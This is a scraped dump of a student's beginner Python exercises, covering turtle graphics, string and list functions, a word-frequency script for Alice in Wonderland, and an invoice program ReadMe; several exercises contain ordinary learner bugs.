3/practicing.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"horsemen = [\"war\", \"famine\", \"pestilence\", \"death\"]\nfor i in range(len(horsemen)):\n print(horsemen[i])\n\nfor words in horsemen:\n print(words)\n\nstudents = [(\"John\", [\"CompSci\", \"Physics\"]),(\"Vusi\", [\"Maths\", \"CompSci\", \"Stats\"]),(\"Jess\", [\"CompSci\", \"Accounting\",\n\"Economics\", \"Management\"]),(\"Sarah\", [\"InfSys\", \"Accounting\", \"Economics\", \"CommLaw\"]),(\"Zuki\", [\"Sociology\",\n\"Economics\", \"Law\", \"Stats\", \"Music\"])]\n\ncounter = 0\nfor name, subjects in students:\n if \"Economics\" in subjects:\n counter += 1\n\nprint(\"The number of students taking Economics is\", counter)\n\ndeel1 = [\"alpha\", \"beta\", \"gamma\"]\ndeel2 = [\"is niks\"]\nsamen = deel1 + deel2\nprint(samen)\n\nfriends = [\"Ren\", \"Den\", \"maatje\"]\nfor friend in friends:\n print(friend)\n\n"},{"alpha_fraction":0.5816993713378906,"alphanum_fraction":0.6209150552749634,"avg_line_length":16.11111068725586,"blob_id":"0b0dc5e698764cfc7c5bf281e40aedd8865bbb1e","content_id":"9b070083d2ee80e992a55929b9a02ac177cf7db9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":153,"license_type":"no_license","max_line_length":49,"num_lines":9,"path":"/Week 4 python/exercise 3.4.4.6.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"exammark= float(input(\"What is your exam mark?\"))\n\nif exammark >=75:\n print(\"First\")\n\nif 70 <= exammark < 75:\n print(\"Upper second\")\n\n#And so on..."},{"alpha_fraction":0.38297873735427856,"alphanum_fraction":0.5106382966041565,"avg_line_length":10.75,"blob_id":"8218179d9cdeac85a3a5e6e128b5dde15e509be4","content_id":"22f206ca4f3a5c68932c6eb4b3213303a08b61d2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":47,"license_type":"no_license","max_line_length":18,"num_lines":4,"path":"/Week 4 python/exercise 3.4.4.3.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"#b<=a\n#b<a\n#a<18 and day!=3\n# a<18 and day ==3\n"},{"alpha_fraction":0.5784313678741455,"alphanum_fraction":0.6470588445663452,"avg_line_length":24.75,"blob_id":"cd99b1ce969c42bb7e1d818b212bd1b79d0ee08d","content_id":"52f30c0be4b5b47a675c973253880e6e4f7943be","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":102,"license_type":"no_license","max_line_length":32,"num_lines":4,"path":"/Week 4 python/exercise 3.4.4.4.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"# 1 equals, true\n# 2 doest not equal, false\n# 3 greater or equal than, false\n# 4 (0,3) ; (4,+infinity)"},{"alpha_fraction":0.5924170613288879,"alphanum_fraction":0.6303317546844482,"avg_line_length":13.066666603088379,"blob_id":"6fb0ce7bb589f23356529ac4ab94210bd0bee68a","content_id":"6a1e907e04b7f581f8870dbbe82fd9a98a7f02a4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":211,"license_type":"no_license","max_line_length":25,"num_lines":15,"path":"/Week 4 python/4.9.9.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"import turtle\n\nwindow = turtle.Screen()\n\nt = turtle.Turtle()\nt.pensize(3)\n\ndef draw_triangle(t, sz):\n for _ in range(5):\n t.forward(sz)\n t.right(144)\n\ndraw_triangle(t,100)\n\nwindow.exitonclick()\n"},{"alpha_fraction":0.5873016119003296,"alphanum_fraction":0.5873016119003296,"avg_line_length":22.625,"blob_id":"4e4936b496c19679354eae3e24ce484602deb888","content_id":"fe099b453ef8bf5fb4b39f44ae7fd1aa5660fa7c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":189,"license_type":"no_license","max_line_length":32,"num_lines":8,"path":"/Week_6_Python/Exercise_1/5.1.19.9.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"def remove_letter(letter, word):\n without_letter = \"\"\n for c in word:\n if c not in word:\n without_letter += c\n return without_letter\n\nremove_letter(\"a\", \"apple\")\n"},{"alpha_fraction":0.641791045665741,"alphanum_fraction":0.6686567068099976,"avg_line_length":15,"blob_id":"4533513a3c4eb11f2100f152757b50822fd9b5ab","content_id":"011cbfb3996f92c111d1fea96f54d2baa47eed11","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":335,"license_type":"no_license","max_line_length":30,"num_lines":21,"path":"/Week 5 Python/4.9.5.2.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"import turtle\n\nwindow = turtle.Screen()\nwindow.bgcolor(\"lightgreen\")\n\ntess = turtle.Turtle()\ntess.pensize(2)\ntess.color(\"blue\")\n\ndef draw_square(animal, size):\n animal.forward(size)\n animal.right(90)\n\nsize = 2\nfor _ in range(90):\n tess.right(1)\n draw_square(tess, size)\n size += 4\n tess.speed(0)\n\nwindow.exitonclick()"},{"alpha_fraction":0.625,"alphanum_fraction":0.65625,"avg_line_length":15.809523582458496,"blob_id":"5980abd94b12b66b05dcce3cc436a52f947743c4","content_id":"6dcef12526c23b32727245b324b79257b0c5db74","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":352,"license_type":"no_license","max_line_length":30,"num_lines":21,"path":"/Week 5 Python/4.9.4.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"import turtle\n\nwindow = turtle.Screen()\nwindow.bgcolor(\"lightgreen\")\n\ntess = turtle.Turtle()\ntess.pensize(3)\ntess.color(\"blue\")\n\ndef draw_square(animal, size):\n for _ in range(4):\n animal.forward(size)\n animal.left(90)\n\nsize = 80\nfor _ in range(20):\n tess.right(18)\n draw_square(tess,size)\n tess.speed(0)\n\nwindow.exitonclick()"},{"alpha_fraction":0.5880149602890015,"alphanum_fraction":0.6104868650436401,"avg_line_length":16.866666793823242,"blob_id":"61cff9694bc6aa3d1c8f9d0c1090614d05b8b069","content_id":"be1ddcc19d6663b7d76e644972fbc9399ad4a456","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":267,"license_type":"no_license","max_line_length":42,"num_lines":15,"path":"/Week_6_Python/Exercise 3/5.3.23.1.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"start = 10\nstop = 0\nstep = -2\n\nif start > stop:\n step < 0\n lijst = list(range(start, stop, step))\n print(lijst)\nelse: print(\"not possible\")\n\nif stop > start:\n step > 0\n lijst = list(range(start, stop, step))\n print(lijst)\nelse: print(\"not possible\")"},{"alpha_fraction":0.6153846383094788,"alphanum_fraction":0.6384615302085876,"avg_line_length":15.3125,"blob_id":"9fb4624711f3ce1334b44e58af4850c0386ed881","content_id":"7607d5722feaebb22a4219ed5c3dbe06c11e8b4d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":260,"license_type":"no_license","max_line_length":32,"num_lines":16,"path":"/Week 5 Python/4.9.6.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"import turtle\n\nwindow = turtle.Screen()\nwindow.bgcolor(\"lightgreen\")\n\nt = turtle.Turtle()\nt.pensize(3)\nt.color(\"blue\")\n\ndef draw_equitriangle(t, n, sz):\n for _ in range(n):\n sz += 4\n t.speed(0)\ndraw_equitriangle(t, 80, 3)\n\nwindow.exitonclick()"},{"alpha_fraction":0.8044642806053162,"alphanum_fraction":0.8053571581840515,"avg_line_length":85.07691955566406,"blob_id":"d33e762dc79056dff682ec7908fd4f20980444c0","content_id":"92a4d3077312416f89fbed6b9851c8948f70a923","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Text","length_bytes":2244,"license_type":"no_license","max_line_length":121,"num_lines":26,"path":"/Python_final_assessment/ReadMe.txt","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"The program we created allows companies to create an invoice for their customers. It makes this process really easy\nand is very straightforward in its application.\n\nThe program is currently focused on a grocery store, but its use can easily be extended to any kind of business.\nThe remainder of this text provides information on how the program should be used.\n\nThe first thing a company needs to consider before making use of the program is entering the different goods that they\nsell and the according prices into a csv file. Our program is not limited to any number of goods so this does not\nrestrict large businesses from adopting our program. Once the products and prices are inserted, one can press “1”\nto start with the invoice-creating process.\n\nThe first step after launching the process is to check whether we are creating an invoice for an existing or for a\nnew client. We filter this by looking at the name of the client. The existing client database is automatically opened\nin order to take a look whether we face an existing client or not. In this phase, we assume for simplicity that there are\nno clients with identical names. In the case of an existing client, the employee should insert the name as it is known\nin our database and in that case the program retrieves the corresponding data on ZIP code and address from our database.\nIf we are dealing with a new client, we ask this data regarding his address and save it for a possible next invoice.\n\nThe next step is to take the order of the client. The products are easily distinguished from each other after adding\nproduct numbers for each different product. When arriving at this step, this product list is opened so that the employer\ncan look for which product numbers belong to this invoice. First, the employer inserts how many different orders should\nbe displayed on the invoice, and second he enters the quantities of each different product.\n\nAfter filling in the final product quantity, we show a preview of the invoice to the employee. It is important to take\na close look at this invoice to correct whether everything on the invoice is right. When the employee approves the\ninvoice, he presses \"1\", and from that moment the invoice is saved into the database.\n\n\n"},{"alpha_fraction":0.5694444179534912,"alphanum_fraction":0.5833333134651184,"avg_line_length":19.428571701049805,"blob_id":"f40b58d68513dcbf34c33c4ce84fdbabbd54c4b2","content_id":"236b99c123d30da4f38a4c24e9918e8b2341ed85","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":144,"license_type":"no_license","max_line_length":35,"num_lines":7,"path":"/Week 5 Python/4.9.7.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"def sum_to(n):\n result = (n * (n+1) /2)\n return result\n\nanswer = int(input(\"What number?\"))\nt = sum_to(answer)\nprint(\"The answer is\", t)\n\n"},{"alpha_fraction":0.6233062148094177,"alphanum_fraction":0.6260162591934204,"avg_line_length":22.0625,"blob_id":"31639f6244829d8883eaedd0da853c8ce500d70d","content_id":"5b7eea61ed8e192fcbc1b6066735a4d49cdeed11","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":369,"license_type":"no_license","max_line_length":65,"num_lines":16,"path":"/Week 5 Python/4.9.8.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"start = input(\"Do you want to calculate the radius of a circle?\")\n\nif start == yes:\n import math\n\n def area_of_circle(r):\n result = (r ** 2 * math.pi)\n return result\n\n\n answer = int(input(\"What is the radius of your circle?\"))\n calculation = area_of_circle(answer)\n print(\"The area is\", calculation)\n\nelse:\n print(\"Fijne dag verder dan)\n"},{"alpha_fraction":0.6132075190544128,"alphanum_fraction":0.6415094137191772,"avg_line_length":15.789473533630371,"blob_id":"4a33f58676248de868bebf459dfec4d1fa27444a","content_id":"ad35f86f9f2877157ce3fae244d3a71f21340962","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":318,"license_type":"no_license","max_line_length":32,"num_lines":19,"path":"/Week 5 Python/Great drawing.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"import turtle\n\nwindow = turtle.Screen()\n\ntess = turtle.Turtle()\ntess.pensize(1)\ntess.color(\"blue\")\n\ndef draw_square(animal, size):\n for _ in range(4):\n tess.forward(size)\n tess.right(90)\n\nfor index in range(90):\n draw_square(tess, index * 5)\n tess.left(6)\n tess.speed(7)\n\nwindow.exitonclick()"},{"alpha_fraction":0.71875,"alphanum_fraction":0.731249988079071,"avg_line_length":31.200000762939453,"blob_id":"992a965c657af86b07c2391b861c6738a6f19a24","content_id":"0cfa0d51b106399645f6ce7f1ae9886e2fc825ea","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":160,"license_type":"no_license","max_line_length":95,"num_lines":5,"path":"/Week_6_Python/Exercise 3/5.3.23.4.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"\"\"\"\nTest 1 is false, in this case this and that are two different objects that have the same value.\nTest 2 is true, this and that refer to the same object.\n\n\"\"\""},{"alpha_fraction":0.5580110549926758,"alphanum_fraction":0.6022099256515503,"avg_line_length":13.520000457763672,"blob_id":"243e012a113a1cb819054cbdc9b5f9011a87a90a","content_id":"85c1d6a338dd1c14b53ccc911785c304bd613042","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":362,"license_type":"no_license","max_line_length":28,"num_lines":25,"path":"/Week 5 Python/4.9.10.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"import turtle\n\nwindow = turtle.Screen()\nwindow.bgcolor(\"lightgreen\")\n\nt = turtle.Turtle()\nt.color(\"pink\")\nt.pensize(3)\n\ndef draw_triangle(t, sz):\n for _ in range(5):\n t.forward(sz)\n t.right(144)\n\nfor _ in range(5):\n draw_triangle(t, 100)\n t.penup()\n t.forward(350)\n t.right(144)\n t.pendown()\n t.speed(0)\n\n\n\nwindow.exitonclick()"},{"alpha_fraction":0.5229681730270386,"alphanum_fraction":0.547703206539154,"avg_line_length":16.625,"blob_id":"fd28a28843d4fa3c5dc9f1c3dc9389428436cdfd","content_id":"10d160eeccd11d0a60b02b4035bb24e0ea20f484","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":283,"license_type":"no_license","max_line_length":41,"num_lines":16,"path":"/Week 4 python/exercise 3.4.4.1.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"dag = int(input(\"Which day is it today\"))\n\nif dag == 0:\n print(\"Sunday\")\nif dag == 1:\n print(\"Monday\")\nif dag == 2:\n print(\"Tuesday\")\nif dag == 3:\n print(\"Wednesday\")\nif dag == 4:\n print(\"Thursday\")\nif dag == 5:\n print(\"Friday\")\nif dag == 6:\n print(\"Saturday\")\n\n"},{"alpha_fraction":0.6299694180488586,"alphanum_fraction":0.6544342637062073,"avg_line_length":13.909090995788574,"blob_id":"6afc82dabdd7c6b058ad0df0018be7051165ce72","content_id":"a4c2f5d546f0d3d2726d92214aa6d5411cc64d47","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":327,"license_type":"no_license","max_line_length":30,"num_lines":22,"path":"/Week 5 Python/4.9.5.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"import turtle\n\nwindow = turtle.Screen()\nwindow.bgcolor(\"lightgreen\")\n\ntess = turtle.Turtle()\ntess.pensize(3)\ntess.color(\"blue\")\n\ndef draw_square(animal, size):\n animal.forward(size)\n animal.right(90)\n\n\nsize = 2\nfor _ in range(80):\n draw_square(tess, size)\n size += 4\n tess.speed(0)\n\n\nwindow.exitonclick()"},{"alpha_fraction":0.6795580387115479,"alphanum_fraction":0.6850828528404236,"avg_line_length":29.33333396911621,"blob_id":"4d6d8145e2113fd7220fcd50d89fc658f2ce9ccd","content_id":"cdcaa544b53b2fe55372f723c67301c3bcc95fbc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":181,"license_type":"no_license","max_line_length":52,"num_lines":6,"path":"/Week_6_Python/Exercise_1/5.1.19.8.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"def mirror(input):\n mirror_string = input + input[::-1]\n return mirror_string\n\ntext = input(\"What is the word you want to mirror?\")\nprint(\"The word mirrored is\", mirror(text))"},{"alpha_fraction":0.6744186282157898,"alphanum_fraction":0.680232584476471,"avg_line_length":27.66666603088379,"blob_id":"bdf3f8f83647303ea3e9feb1f41f28f1ae06c277","content_id":"5dcb9127b46f4c0c56f3743f361d51a73b863600","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":172,"license_type":"no_license","max_line_length":53,"num_lines":6,"path":"/Week_6_Python/Exercise_1/5.1.19.7.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"def reverse(input):\n rev_string = input[::-1]\n return rev_string\n\ntext = input(\"What is the word you want to reverse?\")\nprint(\"The word backwards is\", reverse(text))\n"},{"alpha_fraction":0.5968379378318787,"alphanum_fraction":0.6205533742904663,"avg_line_length":13.05555534362793,"blob_id":"e0450c958dd7e19bdd0e62f7664644acf8a3f6f8","content_id":"4f6557693b435778fc1b02e3b829c07171419645","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":253,"license_type":"no_license","max_line_length":28,"num_lines":18,"path":"/Week 5 Python/4.9.3.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"import turtle\n\nwindow = turtle.Screen()\nwindow.bgcolor(\"lightgreen\")\n\nt = turtle.Turtle()\nt.pensize(3)\nt.color(\"pink\")\n\ndef draw_poly(t, n, sz):\n for _ in range(n):\n t.forward(sz)\n t.left(45)\n\ndraw_poly(t, 8, 50)\n\n\nwindow.exitonclick()\n"},{"alpha_fraction":0.6177285313606262,"alphanum_fraction":0.6426593065261841,"avg_line_length":17.100000381469727,"blob_id":"3aae02df1b41de2fb4567b90ebd3a1a5aaf855b8","content_id":"342fc6a59f57d761554d47077b77f3b1f82a691a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":361,"license_type":"no_license","max_line_length":30,"num_lines":20,"path":"/Week 5 Python/4.9.1.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"import turtle\n\ndef draw_square(animal, size):\n for _ in range(4):\n animal.color('pink')\n animal.forward(size)\n animal.left(90)\n animal.forward(size * 2)\n\nwindow = turtle.Screen()\nwindow.bgcolor(\"lightgreen\")\n\ntess = turtle.Turtle()\ntess.pensize(3)\n\nfor _ in range(5):\n draw_square(ferdi, 20)\n tess.speed(0)\n\nwindow.exitonclick()"},{"alpha_fraction":0.7770270109176636,"alphanum_fraction":0.7770270109176636,"avg_line_length":73.5,"blob_id":"9d13cd468b27f5453f0278ba721de5dddf0469a0","content_id":"065f57968c4123851a77b9a39de3dc8f439ee535","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":148,"license_type":"no_license","max_line_length":104,"num_lines":2,"path":"/Week_6_Python/Exercise 2/5.2.6.3.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"\"\"\"A pair is a kind of tuple. A tuple can consist of a pair of characteristics but also consist of three\nor even more characteristics/data values\"\"\""},{"alpha_fraction":0.6203866600990295,"alphanum_fraction":0.6300527453422546,"avg_line_length":28.736841201782227,"blob_id":"32bb12a40d7121513b7a95938c24875302db6fc2","content_id":"225844e00e84d7c94c501dd9488a1abeb91048a6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1138,"license_type":"no_license","max_line_length":96,"num_lines":38,"path":"/Week_6_Python/Exercise_4/alice_in_wonderland.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"#retrieve the book\nimport urllib.request\n\nurl = \"https://www.gutenberg.org/files/11/11-0.txt\"\nfile_name = \"alice.txt\"\nurllib.request.urlretrieve(url, file_name)\n\n\n#read the book\n\nwith open(file_name) as alice_book:\n alice_text = alice_book.read()\n\n#process the book\nwords = alice_text.lower().split()\nword_count = {}\n\nfor word in words:\n word = word.strip(\"!\\\"#$%&\\'()*+,./:;<=>?@[\\\\]^_`{|}~\")\n #Note that I removed the - sign since it is a single word in this case\n if len(word) > 0 and word[0].isalpha(): #isalpha means whether it is in the alphabet\n word_count[word] = word_count.get(word, 0) + 1\n\n#get the longest word\nlongest_word = \"\"\nfor word in word_count:\n if len(word) > len(longest_word):\n longest_word = word\n\n#print to output file\nwith open(\"alice_words.txt\", \"w\") as alice_output:\n string_format = \"{:<\" +str(len(longest_word)) + \"} {:<5}\\n\"\n\n alice_output.write(string_format.format(\"Word\", \"Count\"))\n alice_output.write(\"=\" * (len(longest_word) + 6) + \"\\n\")\n\n for word in sorted(word_count):\n alice_output.write(string_format.format(word, word_count[word]))\n\n\n\n\n\n\n\n\n"},{"alpha_fraction":0.6727549433708191,"alphanum_fraction":0.6803653240203857,"avg_line_length":29.952381134033203,"blob_id":"87183a68a1f798f2c609049aceb0fdeffdccf240","content_id":"eb23966ab4912b82876f707d9c06938218be65eb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":657,"license_type":"no_license","max_line_length":118,"num_lines":21,"path":"/Week_6_Python/Exercise_1/5.1.19.5.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"poem = \"\"\"Reinder Evert is a very good looking guy who is really attractive and also very smart. He is rarely seen \noutside the house and therefore he has a lack of vitamin D\"\"\"\n\nlossewoorden = poem.split(\" \")\n\ndef count_words(text):\n return len(lossewoorden)\n\ndef count_words_containing(text, letter):\n count = 0\n for word in lossewoorden:\n if letter in word:\n count += 1\n return count\n\nletter = \"e\"\ncount = count_words(poem)\necount = count_words_containing(poem, letter)\nepercentage = (ecount/count) *100\n\nprint(\"Your text containt {} words, of which {} contain an e, which is about {} %\".format(count, ecount, epercentage))\n\n\n\n\n\n\n\n"},{"alpha_fraction":0.5249999761581421,"alphanum_fraction":0.5874999761581421,"avg_line_length":20.133333206176758,"blob_id":"eaaa9b2fc7f53337b7043b72159c2d4afb2c53f2","content_id":"7726e34bdb6ee43eaf14718c52ad3c59d83cb299","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":320,"license_type":"no_license","max_line_length":40,"num_lines":15,"path":"/Week_6_Python/Exercise 3/5.3.23.7.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"def dot_product(vector1, vector2):\n if len(vector1) != len(vector2):\n return None\n\n vector3 = []\n for v1, v2 in zip(vector1, vector2):\n vector3.append(v1 * v2)\n\n sumvector = 0\n for vector_3 in vector3:\n sumvector += vector_3\n\n return sumvector\n\nprint(dot_product([2,2], [2,3]))\n\n\n\n"},{"alpha_fraction":0.5685279369354248,"alphanum_fraction":0.6345177888870239,"avg_line_length":32,"blob_id":"de24cd9384c173bd94fcc79f6f678c4cfab6b9c3","content_id":"79e62d42da517ac9742f86dea4214a604c7ce20a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":197,"license_type":"no_license","max_line_length":78,"num_lines":6,"path":"/Week_6_Python/Exercise 2/5.2.6.1.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"numbers_to_ten = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)\nprint(numbers_to_ten[4])\n\nif numbers_to_ten == 7:\n print(\"gelukt\")\n\"\"\"Seems like it is not possible to use tuples as an argument in a function\"\"\""},{"alpha_fraction":0.6268041133880615,"alphanum_fraction":0.6412371397018433,"avg_line_length":17.653846740722656,"blob_id":"277ba4b670cbe2b83adfc3ab21f3c112f82ddce1","content_id":"3664c108b3b7e5b99112f84bf530cc4b60ea99cc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":485,"license_type":"no_license","max_line_length":45,"num_lines":26,"path":"/Week 4 python/Week 4.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"import turtle\n\ndef draw_square(animal, size):\n \"\"\"\n Draw a square\n \"\"\"\n for _ in range(4):\n animal.forward(size)\n animal.left(90)\n\n# non-fruitful function\ndef calculate_surface_of_square(side_length):\n surface = side_length ** 2\n print(surface)\n return surface\n\nscreen = turtle.Screen()\nnick = turtle.Turtle()\n\nfor index in range(6):\n draw_square(nick, index * 5)\n nick.left(6)\n\n result = calculate_surface_of_square()\n\nscreen.exitonclick()\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7237762212753296,\n \"alphanum_fraction\": 0.7342657446861267,\n \"avg_line_length\": 18.066667556762695,\n \"blob_id\": \"8655e63d1edbe2d8795e6e7ae22e22aea463b804\",\n \"content_id\": \"a505d2881d95e0b478071710df1ea87c94cdeb48\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 286,\n \"license_type\": \"no_license\",\n \"max_line_length\": 66,\n \"num_lines\": 15,\n \"path\": \"/Week_6_Python/Exercise 3/5.3.23.2.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# two turtles created\\n\\nimport turtle\\n\\ntess = turtle.Turtle()\\nalex = tess\\nalex.color(\\\"hotpink\\\")\\n\\nif tess is alex:\\n print(\\\"there is one turtle created\\\")\\nelse: print(\\\"there are two turtles created\\\")\\n\\n# color applies to both turtles since it is aliased and not cloned\\n\\nalex.forward(100)\\n\"\n },\n {\n \"alpha_fraction\": 0.5668449401855469,\n \"alphanum_fraction\": 0.5882353186607361,\n \"avg_line_length\": 18.736841201782227,\n \"blob_id\": \"53ee20530a32cd38fead706db0df98b939c4a62f\",\n \"content_id\": \"a38e6f1065cdb439c9a733a121237544041cc37d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 374,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 19,\n \"path\": \"/Week 4 python/exercise 3.4.4.2.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"arrival = int(input(\\\"On what day do you arrive?\\\"))\\nstaying = int(input(\\\"What is the length of your stay?\\\"))\\n\\ndag = (arrival+staying)%7\\n\\nif dag == 0:\\n print(\\\"Sunday\\\")\\nif dag == 1:\\n print(\\\"Monday\\\")\\nif dag == 2:\\n print(\\\"Tuesday\\\")\\nif dag == 3:\\n print(\\\"Wednesday\\\")\\nif dag == 4:\\n print(\\\"Thursday\\\")\\nif dag == 5:\\n print(\\\"Friday\\\")\\nif dag == 6:\\n print(\\\"Saturday\\\")\"\n },\n {\n \"alpha_fraction\": 0.7127071619033813,\n \"alphanum_fraction\": 0.7127071619033813,\n \"avg_line_length\": 21.75,\n \"blob_id\": \"4c08218e1d5b5d990201ece28d832f7453684866\",\n \"content_id\": \"305459e4c3ab2400f1f0f64b722eaf7a27e18b52\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 181,\n \"license_type\": \"no_license\",\n \"max_line_length\": 42,\n \"num_lines\": 8,\n \"path\": \"/Week_6_Python/Exercise_1/5.1.19.3.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def count_letters(word):\\n result = len(word)\\n return result\\n\\n\\nanswer = str(input(\\\"name a word\\\"))\\ncalculation = count_letters(answer)\\nprint(\\\"number of letters is\\\", calculation)\"\n },\n {\n \"alpha_fraction\": 0.6540540456771851,\n \"alphanum_fraction\": 0.6702702641487122,\n \"avg_line_length\": 25.285715103149414,\n \"blob_id\": \"8e685d1337de9d07a0adce2fce008c64f3dcb9c8\",\n \"content_id\": \"20370b95099c4f19e94e28337cba26d31a2a258a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 185,\n \"license_type\": \"no_license\",\n \"max_line_length\": 45,\n \"num_lines\": 7,\n \"path\": \"/Week_6_Python/Exercise 3/5.3.23.6.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def scalar_mult(scalar, vector):\\n outcomevector = []\\n for element in vector:\\n outcomevector.append(scalar * vector)\\n return outcomevector\\n\\nprint(scalar_mult(3, [1,2]))\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6176470518112183,\n \"alphanum_fraction\": 0.625668466091156,\n \"avg_line_length\": 27.730770111083984,\n \"blob_id\": \"0109dbe6823a8eb099bc1df61ad338db43c0db46\",\n \"content_id\": \"187b93ff798d19821be94f2b3d390e9772fd5482\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 748,\n \"license_type\": \"no_license\",\n \"max_line_length\": 119,\n \"num_lines\": 26,\n \"path\": \"/Week_6_Python/Exercise 3/practicing.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"horsemen = [\\\"war\\\", \\\"famine\\\", \\\"pestilence\\\", \\\"death\\\"]\\nfor i in range(len(horsemen)):\\n print(horsemen[i])\\n\\nfor words in horsemen:\\n print(words)\\n\\nstudents = [(\\\"John\\\", [\\\"CompSci\\\", \\\"Physics\\\"]),(\\\"Vusi\\\", [\\\"Maths\\\", \\\"CompSci\\\", \\\"Stats\\\"]),(\\\"Jess\\\", [\\\"CompSci\\\", \\\"Accounting\\\",\\n\\\"Economics\\\", \\\"Management\\\"]),(\\\"Sarah\\\", [\\\"InfSys\\\", \\\"Accounting\\\", \\\"Economics\\\", \\\"CommLaw\\\"]),(\\\"Zuki\\\", [\\\"Sociology\\\",\\n\\\"Economics\\\", \\\"Law\\\", \\\"Stats\\\", \\\"Music\\\"])]\\n\\ncounter = 0\\nfor name, subjects in students:\\n if \\\"Economics\\\" in subjects:\\n counter += 1\\n\\nprint(\\\"The number of students taking Economics is\\\", counter)\\n\\ndeel1 = [\\\"alpha\\\", \\\"beta\\\", \\\"gamma\\\"]\\ndeel2 = [\\\"is niks\\\"]\\nsamen = deel1 + deel2\\nprint(samen)\\n\\nfriends = [\\\"Ren\\\", \\\"Den\\\", \\\"maatje\\\"]\\nfor friend in friends:\\n print(friend)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5816993713378906,\n \"alphanum_fraction\": 0.6209150552749634,\n \"avg_line_length\": 16.11111068725586,\n \"blob_id\": \"0b0dc5e698764cfc7c5bf281e40aedd8865bbb1e\",\n \"content_id\": 